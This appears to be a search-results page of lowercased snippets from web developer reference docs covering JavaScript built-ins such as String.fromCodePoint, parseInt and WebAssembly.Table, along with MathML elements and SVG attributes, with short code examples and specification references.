...t: string.fromcodepoint(42); // "*" string.fromcodepoint(65, 90); // "az" string.fromcodepoint(0x404); // "\u0404" == "Є" string.fromcodepoint(0x2f804); // "\ud87e\udc04" string.fromcodepoint(194564); // "\ud87e\udc04" string.fromcodepoint(0x1d306, 0x61, 0x1d307); // "\ud834\udf06a\ud834\udf07" invalid input: string.fromcodepoint('_'); // rangeerror string.fromcodepoint(infinity); // rangeerror string.fromcodepoint(-1); // rangeerror string.fromcodepoint(3.14); // rangeerror string.fromcodepoint(3e-2); // rangeerror string.fromcodepoint(nan); // rangeerror compared to fromcharcode() string.fromcharcode() cannot return supplementary characters (i.e.
...5356, 57091); // stars" == "\ud83c\udf03" string.fromcodepoint(), on the other hand, can return 4-byte supplementary characters, as well as the more common 2-byte bmp characters, by specifying their code point (which is equivalent to the utf-32 code unit): string.fromcodepoint(0x1f303); // or 127747 in decimal specifications specification ecmascript (ecma-262)the definition of 'string.fromcodepoint' in that specification.
WebAssembly.Global - JavaScript
global.prototype[@@tostringtag] the initial value of the @@tostringtag property is the string value "webassembly.global".
...got: ${got}<br>`; } asserteq("webassembly.global exists", typeof webassembly.global, "function"); const global = new webassembly.global({value:'i32', mutable:true}, 0); webassembly.instantiatestreaming(fetch('global.wasm'), { js: { global } }) .then(({instance}) => { asserteq("getting initial value from wasm", instance.exports.getglobal(), 0); global.value = 42; asserteq("getting js-updated value from wasm", instance.exports.getglobal(), 42); instance.exports.incglobal(); asserteq("getting wasm-updated value from js", global.value, 43); }); note: you can see the example running live on github; see also the source code.
... specifications specification webassembly javascript interfacethe definition of 'webassembly.global()' in that specification.
WebAssembly.Memory.prototype.grow() - JavaScript
examples using grow the following example creates a new webassembly memory instance with an initial size of 1 page (64kib), and a maximum size of 10 pages (640kib).
... var memory = new webassembly.memory({initial:1, maximum:10}); we can then grow the instance by one page like so: const bytesperpage = 64 * 1024; console.log(memory.buffer.bytelength / bytesperpage); // "1" console.log(memory.grow(1)); // "1" console.log(memory.buffer.bytelength / bytesperpage); // "2" note the return value of grow() here is the previous number of webassembly pages.
... specifications specification webassembly javascript interfacethe definition of 'grow()' in that specification.
WebAssembly.Table.prototype.set() - JavaScript
examples using table.set the following example (see table2.html source code and live version) creates a new webassembly table instance with an initial size of 2 references.
... var tbl = new webassembly.table({initial:2, element:"anyfunc"}); console.log(tbl.length); console.log(tbl.get(0)); console.log(tbl.get(1)); we then create an import object that contains a reference to the table: var importobj = { js: { tbl:tbl } }; finally, we load and instantiate a wasm module (table2.wasm) using the webassembly.instantiatestreaming(), log the table length, and invoke the two referenced functions that are now stored in the table (the table2.wasm module (see text representation) adds two function references to the table, both of which print out...
... specifications specification webassembly javascript interfacethe definition of 'set()' in that specification.
WebAssembly.Table - JavaScript
examples creating a new webassembly table instance the following example (see table2.html source code and live version) creates a new webassembly table instance with an initial size of 2 elements.
... var tbl = new webassembly.table({initial:2, element:"anyfunc"}); console.log(tbl.length); // "2" console.log(tbl.get(0)); // "null" console.log(tbl.get(1)); // "null" we then create an import object that contains the table: var importobj = { js: { tbl:tbl } }; finally, we load and instantiate a wasm module (table2.wasm) using the webassembly.instantiatestreaming() method.
... specifications specification webassembly javascript interfacethe definition of 'table' in that specification.
parseInt() - JavaScript
it is done as an initial step in the parsing after whitespace is removed.
... regular expressions can help: function filterint(value) { if (/^[-+]?(\d+|infinity)$/.test(value)) { return number(value) } else { return nan } } console.log(filterint('421')) // 421 console.log(filterint('-421')) // -421 console.log(filterint('+421')) // 421 console.log(filterint('infinity')) // infinity console.log(filterint('421e+0')) // nan console.log(filterint('421hop')) // nan cons...
... parseint(1000000000000000000000,10); parseint(123000000000000000000000,10); parseint(1e+21,10); the following example returns 224: parseint('0e0', 16) bigint values lose precision: parseint('900719925474099267n') // 900719925474099300 parseint doesn't work with numeric separators: parseint('123_456') // 123 specifications specification ecmascript (ecma-262)the definition of 'parseint' in that specification.
undefined - JavaScript
the initial value of undefined is the primitive value undefined.
...in the following code, the variable x is not initialized, and the if statement evaluates to true.
... var x; if (x === void 0) { // these statements execute } // y has not been declared before if (y === void 0) { // throws uncaught referenceerror: y is not defined } specifications specification ecmascript (ecma-262)the definition of 'undefined' in that specification.
Iteration protocols - JavaScript
the iterator protocol the iterator protocol defines a standard way to produce a sequence of values (either finite or infinite), and potentially a return value when all values have been generated.
...{ value: array[nextindex++], done: false } : { done: true }; } }; } let it = makeiterator(['yo', 'ya']); console.log(it.next().value); // 'yo' console.log(it.next().value); // 'ya' console.log(it.next().done); // true infinite iterator function idmaker() { let index = 0; return { next: function() { return { value: index++, done: false }; } }; } let it = idmaker(); console.log(it.next().value); // '0' console.log(it.next().value); // '1' console.log(it.next().value); // '2' // ...
...[symbol.iterator]() === ageneratorobject); // true, because its @@iterator method returns itself (an iterator), so it's an well-formed iterable console.log([...ageneratorobject]); // [1, 2, 3] console.log(symbol.iterator in ageneratorobject) // true, because @@iterator method is a property of ageneratorobject specifications specification ecmascript (ecma-262)the definition of 'iteration' in that specification.
new operator - JavaScript
to add the new property to all objects of the same type, you must add the property to the definition of the car object type.
...san', '300zx', 1992); object property that is itself another object suppose you define an object called person as follows: function person(name, age, sex) { this.name = name; this.age = age; this.sex = sex; } and then instantiate two new person objects as follows: var rand = new person('rand mcnally', 33, 'm'); var ken = new person('ken jones', 39, 'm'); then you can rewrite the definition of car to include an owner property that takes a person object, as follows: function car(make, model, year, owner) { this.make = make; this.model = model; this.year = year; this.owner = owner; } to instantiate the new objects, you then use the following: var car1 = new car('eagle', 'talon tsi', 1993, rand); var car2 = new car('nissan', '300zx', 1992, ken); instead of passing a li...
...to find out the name of the owner of car2, you can access the following property: car2.owner.name specifications specification ecmascript (ecma-262)the definition of 'the new operator' in that specification.
new.target - JavaScript
et a = new a() // logs "a" let b = new b() // logs "b" class c { constructor() { console.log(new.target) } } class d extends c { constructor() { super() } } let c = new c() // logs class c{constructor(){console.log(new.target);}} let d = new d() // logs class d extends c{constructor(){super();}} thus from the above example of class c and d, it seems that new.target points to the class definition of class which is initialized.
... for example, when d was initialized using new d(), the class definition of d was printed; and similarly, in case of c, the class c was printed.
... specifications specification ecmascript (ecma-262)the definition of 'built-in function objects' in that specification.
super - JavaScript
the super.prop and super[expr] expressions are valid in any method definition in both classes and object literals.
... } } var y = new y(); y.foo(); // typeerror: "prop" is read-only console.log(y.prop); // 1 using super.prop in object literals super can also be used in the object initializer / literal notation.
... var obj1 = { method1() { console.log('method 1'); } } var obj2 = { method2() { super.method1(); } } object.setprototypeof(obj2, obj1); obj2.method2(); // logs "method 1" specifications specification ecmascript (ecma-262)the definition of 'super' in that specification.
typeof - JavaScript
examples basic usage // numbers typeof 37 === 'number'; typeof 3.14 === 'number'; typeof(42) === 'number'; typeof math.ln2 === 'number'; typeof infinity === 'number'; typeof nan === 'number'; // despite being "not-a-number" typeof number('1') === 'number'; // number tries to parse things into numbers typeof number('shoe') === 'number'; // including values that cannot be type coerced to a number typeof 42n === 'bigint'; // strings typeof '' === 'string'; typeof 'bla' === 'string'; typeof `template literal` === 'string'; typeof '1' === '...
...block scoped variables are in a "temporal dead zone" from the start of the block until the initialization is processed, during which, it will throw an error if accessed.
... specifications specification ecmascript (ecma-262)the definition of 'the typeof operator' in that specification.
Expressions and operators - JavaScript
[] array initializer/literal syntax.
... {} object initializer/literal syntax.
... specifications specification ecmascript (ecma-262)the definition of 'ecmascript language: expressions' in that specification.
const - JavaScript
an initializer for a constant is required.
... fine and creates a block scoped my_fav variable // (works equally well with let to declare a block scoped non const variable) let my_fav = 20; // my_fav is now 20 console.log('my favorite number is ' + my_fav); // this gets hoisted into the global context and throws an error var my_fav = 20; } // my_fav is still 7 console.log('my favorite number is ' + my_fav); const needs to be initialized // throws an error // uncaught syntaxerror: missing initializer in const declaration const foo; const in objects and arrays const also works on objects and arrays.
...my_array = ['b']; specifications specification ecmascript (ecma-262)the definition of 'let and const declarations' in that specification.
import - JavaScript
the static form is preferable for loading initial dependencies, and can benefit more readily from static analysis tools and tree shaking.
...r("main"); for (const link of document.queryselectorall("nav > a")) { link.addeventlistener("click", e => { e.preventdefault(); import('/modules/my-module.js') .then(module => { module.loadpageinto(main); }) .catch(err => { main.textcontent = err.message; }); }); } specifications specification ecmascript (ecma-262)the definition of 'imports' in that specification.
... ecmascript (ecma-262)the definition of 'import calls' in that specification.
Statements and declarations - JavaScript
declarations var declares a variable, optionally initializing it to a value.
... let declares a block scope local variable, optionally initializing it to a value.
... specifications specification ecmascript (ecma-262)the definition of 'ecmascript language: statements and declarations' in that specification.
Trailing commas - JavaScript
parameter definitions the following function definition pairs are legal and equivalent to each other.
... function f(p) {} function f(p,) {} (p) => {}; (p,) => {}; the trailing comma also works with method definitions for classes or objects: class c { one(a,) {} two(a, b,) {} } var obj = { one(a,) {}, two(a, b,) {}, }; function calls the following function invocation pairs are legal and equivalent to each other.
... f(p); f(p,); math.max(10, 20); math.max(10, 20,); illegal trailing commas function parameter definitions or function invocations only containing a comma will throw a syntaxerror.
<maction> - MathML
"> <mfrac> <mn>6</mn> <mn>8</mn> </mfrac> <mfrac> <mrow> <mn>3</mn> <mo>&sdot;</mo> <mn>2</mn> </mrow> <mrow> <mn>4</mn> <mo>&sdot;</mo> <mn>2</mn> </mrow> </mfrac> <mfrac> <mn>3</mn> <mn>4</mn> </mfrac> </maction> </math> specifications specification status comment mathml 3.0the definition of 'maction' in that specification.
... recommendation current specification mathml 2.0the definition of 'maction' in that specification.
... recommendation initial specification ...
<math> - MathML
WebMathMLElementmath
specifications specification status comment mathml 3.0the definition of 'the top-level math element' in that specification.
... recommendation current specification mathml 2.0the definition of 'the top-level math element' in that specification.
... recommendation initial specification ...
<menclose> - MathML
a2 + b2 arabic factorial symbol updiagonalarrow a2 + b2 diagonal arrow phasorangle a2 + b2 phasor angle examples <math> <menclose notation="circle box"> <mi> x </mi> <mo> + </mo> <mi> y </mi> </menclose> </math> specifications specification status comment mathml 3.0the definition of 'menclose' in that specification.
... recommendation current specification mathml 2.0the definition of 'menclose' in that specification.
... recommendation initial specification ...
<merror> - MathML
WebMathMLElementmerror
examples <math> <merror> <mrow> <mtext> division by zero: </mtext> <mfrac> <mn> 1 </mn> <mn> 0 </mn> </mfrac> </mrow> </merror> </math> specifications specification status comment mathml 3.0the definition of 'merror' in that specification.
... recommendation current specification mathml 2.0the definition of 'merror' in that specification.
... recommendation initial specification ...
<mfrac> - MathML
WebMathMLElementmfrac
examples sample rendering: your browser rendering: a b c d <math> <mfrac bevelled="true"> <mfrac> <mi> a </mi> <mi> b </mi> </mfrac> <mfrac> <mi> c </mi> <mi> d </mi> </mfrac> </mfrac> </math> specifications specification status comment mathml 3.0the definition of 'mfrac' in that specification.
... recommendation current specification mathml 2.0the definition of 'mfrac' in that specification.
... recommendation initial specification ...
<mglyph> - MathML
WebMathMLElementmglyph
examples <math> <mi><mglyph src="my-glyph.png" alt="my glyph"/></mi> </math> specifications specification status comment mathml 3.0the definition of 'mglyph' in that specification.
... recommendation current specification mathml 2.0the definition of 'mglyph' in that specification.
... recommendation initial specification ...
<mi> - MathML
WebMathMLElementmi
e than one character) ; example bold ; example italic (default value for a single character) ; example bold-italic ; example double-struck ; example bold-fraktur ; example script ; example bold-script ; example fraktur ; example sans-serif ; example bold-sans-serif ; example sans-serif-italic ; example sans-serif-bold-italic ; example monospace ; example initial ; مثال tailed ; مثال looped ; مثال stretched ; مثال examples <math> <mi> y </mi> <mi> sin </mi> <mi mathvariant="monospace"> x </mi> <mi mathvariant="bold"> &pi; </mi> </math> specifications specification status comment mathml 3.0the definition of 'mi' in that specification.
... recommendation current specification mathml 2.0the definition of 'mi' in that specification.
... recommendation initial specification ...
<mlabeledtr> - MathML
examples rendering: <math> <mtable> <mlabeledtr> <mtd><mn>1</mn></mtd> <!-- label --> <mtd><mi>a</mi></mtd> <mtd><mi>b</mi></mtd> </mlabeledtr> <mtr> <mtd><mi>c</mi></mtd> <mtd><mi>d</mi></mtd> <mtd><mi>e</mi></mtd> </mtr> </mtable> </math> specifications specification status comment mathml 3.0the definition of 'mlabeledtr' in that specification.
... recommendation current specification mathml 2.0the definition of 'mlabeledtr' in that specification.
... recommendation initial specification ...
<mmultiscripts> - MathML
tiscripts> <mi>x</mi> <!-- base expression --> <none /> <!-- postsubscript --> <mi>c</mi> <!-- postsuperscript --> <mprescripts /> <mi>b</mi> <!-- presubscript --> <none /> <!-- presuperscript --> </mmultiscripts> </math> specifications specification status comment mathml 3.0the definition of 'mmultiscripts' in that specification.
... recommendation current specification mathml 2.0the definition of 'mmultiscripts' in that specification.
... recommendation initial specification ...
<mn> - MathML
WebMathMLElementmn
the following values are allowed: normal (default value) ; example bold ; example italic ; example bold-italic ; example double-struck ; example bold-fraktur ; example script ; example bold-script ; example fraktur ; example sans-serif ; example bold-sans-serif ; example sans-serif-italic ; example sans-serif-bold-italic ; example monospace ; example initial ; مثال tailed ; مثال looped ; مثال stretched ; مثال examples <math> <mn> 0 </mn> <mn> 1.337 </mn> <mn> twelve </mn> <mn> xvi </mn> <mn> 2e10 </mn> </math> specifications specification status comment mathml 3.0the definition of 'mn' in that specification.
... recommendation current specification mathml 2.0the definition of 'mn' in that specification.
... recommendation initial specification ...
<mover> - MathML
WebMathMLElementmover
examples sample rendering: rendering in your browser: x + y + z ⏞ <math> <mover accent="true"> <mrow> <mi> x </mi> <mo> + </mo> <mi> y </mi> <mo> + </mo> <mi> z </mi> </mrow> <mo> &#x23de; <!--top curly bracket--> </mo> </mover> </math> specifications specification status comment mathml 3.0the definition of 'mover' in that specification.
... recommendation current specification mathml 2.0the definition of 'mover' in that specification.
... recommendation initial specification ...
<mpadded> - MathML
examples <math> <mpadded height="+150px" width="100px" lspace="2height"> <mi> x </mi> <mo> + </mo> <mi> y </mi> </mpadded> </math> specifications specification status comment mathml 3.0the definition of 'mpadded' in that specification.
... recommendation current specification mathml 2.0the definition of 'mpadded' in that specification.
... recommendation initial specification ...
<mphantom> - MathML
examples sample rendering: rendering in your browser: x + y + z <math> <mrow> <mi> x </mi> <mo> + </mo> <mphantom> <mi> y </mi> <mo> + </mo> </mphantom> <mi> z </mi> </mrow> </math> specifications specification status comment mathml 3.0the definition of 'mphantom' in that specification.
... recommendation current specification mathml 2.0the definition of 'mphantom' in that specification.
... recommendation initial specification ...
<mroot> - MathML
WebMathMLElementmroot
examples sample rendering: rendering in your browser: x 3 <math> <mroot> <mi>x</mi> <mn>3</mn> </mroot> </math> specifications specification status comment mathml 3.0the definition of 'mroot' in that specification.
... recommendation current specification mathml 2.0the definition of 'mroot' in that specification.
... recommendation initial specification ...
<mrow> - MathML
WebMathMLElementmrow
examples <math> <mrow> <mn> 1 </mn> <mo> + </mo> <mn> 1 </mn> </mrow> <mrow> <mo> ( </mo> <mrow> <mi> x </mi> <mo> , </mo> <mi> y </mi> </mrow> <mo> ) </mo> </mrow> </math> specifications specification status comment mathml 3.0the definition of 'mrow' in that specification.
... recommendation current specification mathml 2.0the definition of 'mrow' in that specification.
... recommendation initial specification ...
<mspace> - MathML
WebMathMLElementmspace
examples <math> <mspace depth="40px" height="20px" /> <mspace width="100px" /> </math> specifications specification status comment mathml 3.0the definition of 'mspace' in that specification.
... recommendation current specification mathml 2.0the definition of 'mspace' in that specification.
... recommendation initial specification ...
<msqrt> - MathML
WebMathMLElementmsqrt
examples sample rendering: rendering in your browser: x <math> <msqrt> <mi>x</mi> </msqrt> </math> specifications specification status comment mathml 3.0the definition of 'msqrt' in that specification.
... recommendation current specification mathml 2.0the definition of 'msqrt' in that specification.
... recommendation initial specification ...
<mstyle> - MathML
WebMathMLElementmstyle
<mrow> <mi>i</mi> <mo form="infix">=</mo> <mn>1</mn> </mrow> <mi>n</mi> </munderover> <mstyle displaystyle="true"> <mfrac> <mn>1</mn> <mi>n</mi> </mfrac> </mstyle> </mrow> </mstyle> </math> specifications specification status comment mathml 3.0the definition of 'mstyle' in that specification.
... recommendation current specification mathml 2.0the definition of 'mstyle' in that specification.
... recommendation initial specification ...
<msub> - MathML
WebMathMLElementmsub
examples sample rendering: rendering in your browser: x 1 <math> <msub> <mi>x</mi> <mn>1</mn> </msub> </math> specifications specification status comment mathml 3.0the definition of 'msub' in that specification.
... recommendation current specification mathml 2.0the definition of 'msub' in that specification.
... recommendation initial specification ...
<msubsup> - MathML
examples sample rendering: rendering in your browser: ∫ 0 1 <math displaystyle="true"> <msubsup> <mo> &#x222b;<!--integral --> </mo> <mn> 0 </mn> <mn> 1 </mn> </msubsup> </math> specifications specification status comment mathml 3.0the definition of 'msubsup' in that specification.
... recommendation current specification mathml 2.0the definition of 'msubsup' in that specification.
... recommendation initial specification ...
<msup> - MathML
WebMathMLElementmsup
examples sample rendering: rendering in your browser: x 2 <math> <msup> <mi>x</mi> <mn>2</mn> </msup> </math> specifications specification status comment mathml 3.0the definition of 'msup' in that specification.
... recommendation current specification mathml 2.0the definition of 'msup' in that specification.
... recommendation initial specification ...
<mtable> - MathML
WebMathMLElementmtable
> <mtd><mi>a</mi></mtd> <mtd><mi>b</mi></mtd> </mtr> <mtr> <mtd><mi>c</mi></mtd> <mtd><mi>d</mi></mtd> </mtr> <mtr> <mtd><mi>e</mi></mtd> <mtd><mi>f</mi></mtd> </mtr> </mtable> </math> specifications specification status comment mathml 3.0the definition of 'mtable' in that specification.
... recommendation current specification mathml 2.0the definition of 'mtable' in that specification.
... recommendation initial specification ...
<mtd> - MathML
WebMathMLElementmtd
specifications specification status comment mathml 3.0the definition of 'mtd' in that specification.
... recommendation current specification mathml 2.0the definition of 'mtd' in that specification.
... recommendation initial specification ...
<mtext> - MathML
WebMathMLElementmtext
ed: normal (default value) ; example bold ; example italic ; example bold-italic ; example double-struck ; example bold-fraktur ; example script ; example bold-script ; example fraktur ; example sans-serif ; example bold-sans-serif ; example sans-serif-italic ; example sans-serif-bold-italic ; example monospace ; example normal (default) ; مثال initial ; مثال tailed ; مثال looped ; مثال stretched ; مثال examples <math> <mtext> theorem of pythagoras </mtext> <mtext> /* comment here */ </mtext> </math> specifications specification status comment mathml 3.0the definition of 'mtext' in that specification.
... recommendation current specification mathml 2.0the definition of 'mtext' in that specification.
... recommendation initial specification ...
<mtr> - MathML
WebMathMLElementmtr
specifications specification status comment mathml 3.0the definition of 'mtr' in that specification.
... recommendation current specification mathml 2.0the definition of 'mtr' in that specification.
... recommendation initial specification ...
<munder> - MathML
WebMathMLElementmunder
examples sample rendering: rendering in your browser: x + y + z ⏟ <math> <munder accentunder="true"> <mrow> <mi> x </mi> <mo> + </mo> <mi> y </mi> <mo> + </mo> <mi> z </mi> </mrow> <mo> &#x23df; <!--bottom curly bracket--> </mo> </munder> </math> specifications specification status comment mathml 3.0the definition of 'munder' in that specification.
... recommendation current specification mathml 2.0the definition of 'munder' in that specification.
... recommendation initial specification ...
<munderover> - MathML
examples sample rendering: rendering in your browser: ∫ 0 ∞ <math displaystyle="true"> <munderover > <mo> &#x222b; <!--integral--> </mo> <mn> 0 </mn> <mi> &#x221e; <!--infinity--> </mi> </munderover> </math> specifications specification status comment mathml 3.0the definition of 'munderover' in that specification.
... recommendation current specification mathml 2.0the definition of 'munderover' in that specification.
... recommendation initial specification ...
accumulate - SVG: Scalable Vector Graphics
specifications specification status comment svg animations level 2the definition of 'accumulate' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'accumulate' in that specification.
... recommendation initial definition ...
additive - SVG: Scalable Vector Graphics
specifications specification status comment svg animations level 2the definition of 'additive' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'additive' in that specification.
... recommendation initial definition ...
amplitude - SVG: Scalable Vector Graphics
four elements are using this attribute: <fefunca>, <fefuncb>, <fefuncg>, and <fefuncr> usage notes value <number> default value 1 animatable yes specifications specification status comment filter effects module level 1the definition of 'amplitude' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'amplitude' in that specification.
... recommendation initial definition ...
arabic-form - SVG: Scalable Vector Graphics
only one element is using this attribute: <glyph> context notes value initial | medial | terminal | isolated default value isolated animatable no initial this value indicates that the glyph represents the initial form.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'arabic-form' in that specification.
... recommendation initial definition ...
attributeType - SVG: Scalable Vector Graphics
four elements are using this attribute: <animate>, <animatecolor>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 250 250" xmlns="http://www.w3.org/2000/svg"> <rect x="50" y="50" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="5s" repeatcount="indefinite"/> </rect> </svg> usage notes value css | xml | auto default value auto animatable no css this value specifies that the value of attributename is the name of a css property defined as animatable.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'attributetype' in that specification.
... recommendation initial definition ...
azimuth - SVG: Scalable Vector Graphics
WebSVGAttributeazimuth
<circle cx="100" cy="100" r="80" style="filter: url(#distantlight1);" /> <circle cx="100" cy="100" r="80" style="filter: url(#distantlight2); transform: translatex(240px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'azimuth' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'azimuth' in that specification.
... recommendation initial definition ...
baseFrequency - SVG: Scalable Vector Graphics
requency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of 'basefrequency' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'basefrequency' in that specification.
... recommendation initial definition ...
bias - SVG: Scalable Vector Graphics
WebSVGAttributebias
specifications specification status comment filter effects module level 1the definition of 'bias' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'bias' in that specification.
... recommendation initial definition ...
by - SVG: Scalable Vector Graphics
WebSVGAttributeby
specifications specification status comment svg animations level 2the definition of 'by' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'by' in that specification.
... recommendation initial definition ...
calcMode - SVG: Scalable Vector Graphics
specifications specification status comment svg animations level 2the definition of 'calcmode' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'calcmode' in that specification.
... recommendation initial definition ...
clip-path - SVG: Scalable Vector Graphics
legend compatibility unknown compatibility unknown specifications specification status comment css masking module level 1the definition of 'clip-path' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'clip-path' in that specification.
... recommendation initial definition (applies to svg elements only).
clip - SVG: Scalable Vector Graphics
WebSVGAttributeclip
specifications specification status comment css masking module level 1the definition of 'clip' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'clip' in that specification.
... recommendation initial definition ...
clipPathUnits - SVG: Scalable Vector Graphics
specifications specification status comment css masking module level 1the definition of 'clippathunits' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'clippathunits' in that specification.
... recommendation initial definition ...
color-interpolation - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'color-interpolation' in that specification.
... candidate recommendation no significant change scalable vector graphics (svg) 1.1 (second edition)the definition of 'color-interpolation' in that specification.
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
color - SVG: Scalable Vector Graphics
WebSVGAttributecolor
e html, body, svg { height: 100%; } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <g color="green"> <rect width="50" height="50" fill="currentcolor" /> <circle r="25" cx="70" cy="70" stroke="currentcolor" fill="none" stroke-width="5" /> </g> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'color' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'color' in that specification.
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
diffuseConstant - SVG: Scalable Vector Graphics
00" height="200" style="filter: url(#diffuselighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 1 animatable yes specifications specification status comment filter effects module level 1the definition of 'diffuseconstant' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'diffuseconstant' in that specification.
... recommendation initial definition ...
display - SVG: Scalable Vector Graphics
WebSVGAttributedisplay
specifications specification status comment scalable vector graphics (svg) 2the definition of 'display' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'display' in that specification.
... recommendation initial definition ...
divisor - SVG: Scalable Vector Graphics
WebSVGAttributedivisor
specifications specification status comment filter effects module level 1the definition of 'divisor' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'divisor' in that specification.
... recommendation initial definition ...
elevation - SVG: Scalable Vector Graphics
<circle cx="100" cy="100" r="80" style="filter: url(#distantlight1);" /> <circle cx="100" cy="100" r="80" style="filter: url(#distantlight2); transform: translatex(240px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'elevation' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'elevation' in that specification.
... recommendation initial definition ...
enable-background - SVG: Scalable Vector Graphics
it also indicates that a new (i.e., initially transparent black) background image canvas is established and that in effect all children of the current container element shall be rendered into the new background image canvas in addition to being rendered onto the target device.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'enable-background' in that specification.
... recommendation initial definition ...
exponent - SVG: Scalable Vector Graphics
ansfer2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 1 animatable yes <number> if the type attribute of the component element is set to gamma, this value specifies the exponent of the gamma function specifications specification status comment filter effects module level 1the definition of 'exponent' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'exponent' in that specification.
... recommendation initial definition ...
fill-opacity - SVG: Scalable Vector Graphics
legend compatibility unknown compatibility unknown specifications specification status comment scalable vector graphics (svg) 2the definition of 'fill-opacity' in that specification.
... candidate recommendation definition for shapes and texts scalable vector graphics (svg) 1.1 (second edition)the definition of 'fill-opacity' in that specification.
... recommendation initial definition for shapes and texts ...
filter - SVG: Scalable Vector Graphics
WebSVGAttributefilter
specifications specification status comment filter effects module level 1the definition of 'filter' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'filter' in that specification.
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
filterUnits - SVG: Scalable Vector Graphics
specifications specification status comment filter effects module level 1the definition of 'filterunits' in that specification.
... working draft initial definition scalable vector graphics (svg) 1.1 (second edition)the definition of 'filterunits' in that specification.
... recommendation initial definition ...
flood-color - SVG: Scalable Vector Graphics
y="0" width="200" height="200"/> </filter> <filter id="flood2"> <feflood flood-color="seagreen" x="0" y="0" width="200" height="200"/> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#flood1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#flood2); transform: translatex(220px);" /> </svg> usage notes value color initial value black animatable yes specifications specification status comment filter effects module level 1the definition of 'flood-color' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'flood-color' in that specification.
... recommendation initial definition ...
font-size-adjust - SVG: Scalable Vector Graphics
specifications specification status comment css fonts module level 3the definition of 'font-size-adjust' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'font-size-adjust' in that specification.
... recommendation initial definition ...
font-size - SVG: Scalable Vector Graphics
specifications specification status comment css fonts module level 3the definition of 'font-size' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'font-size' in that specification.
... recommendation initial definition ...
format - SVG: Scalable Vector Graphics
WebSVGAttributeformat
type-1 postscript™ type 1 truetype truetype opentype opentype, including truetype open truetype-gx truetype with gx extensions speedo speedo intellifont intellifont specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'format for <glyphref>' in that specification.
... recommendation initial definition for <glyphref> scalable vector graphics (svg) 1.1 (second edition)the definition of 'format for <altglyph>' in that specification.
... recommendation initial definition for <altglyph> ...
fx - SVG: Scalable Vector Graphics
WebSVGAttributefx
" fill="white" stroke="white"/> <circle cx="60" cy="60" r="2" fill="white" stroke="white"/> <text x="38" y="40" fill="white" font-family="sans-serif" font-size="10pt">(fx,fy)</text> <text x="63" y="63" fill="white" font-family="sans-serif" font-size="10pt">(cx,cy)</text> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'fx' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'fx' in that specification.
... recommendation initial definition ...
fy - SVG: Scalable Vector Graphics
WebSVGAttributefy
" fill="white" stroke="white"/> <circle cx="60" cy="60" r="2" fill="white" stroke="white"/> <text x="38" y="40" fill="white" font-family="sans-serif" font-size="10pt">(fx,fy)</text> <text x="63" y="63" fill="white" font-family="sans-serif" font-size="10pt">(cx,cy)</text> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'fy' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'fy' in that specification.
... recommendation initial definition ...
glyph-name - SVG: Scalable Vector Graphics
the glyph names can be referenced in kerning definitions created by <hkern> and <vkern> elements.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'glyph-name' in that specification.
... recommendation initial definition ...
glyphRef - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'glyphref for <glyphref>' in that specification.
... recommendation initial definition for <glyphref> scalable vector graphics (svg) 1.1 (second edition)the definition of 'altglyph for <altglyph>' in that specification.
... recommendation initial definition for <altglyph> ...
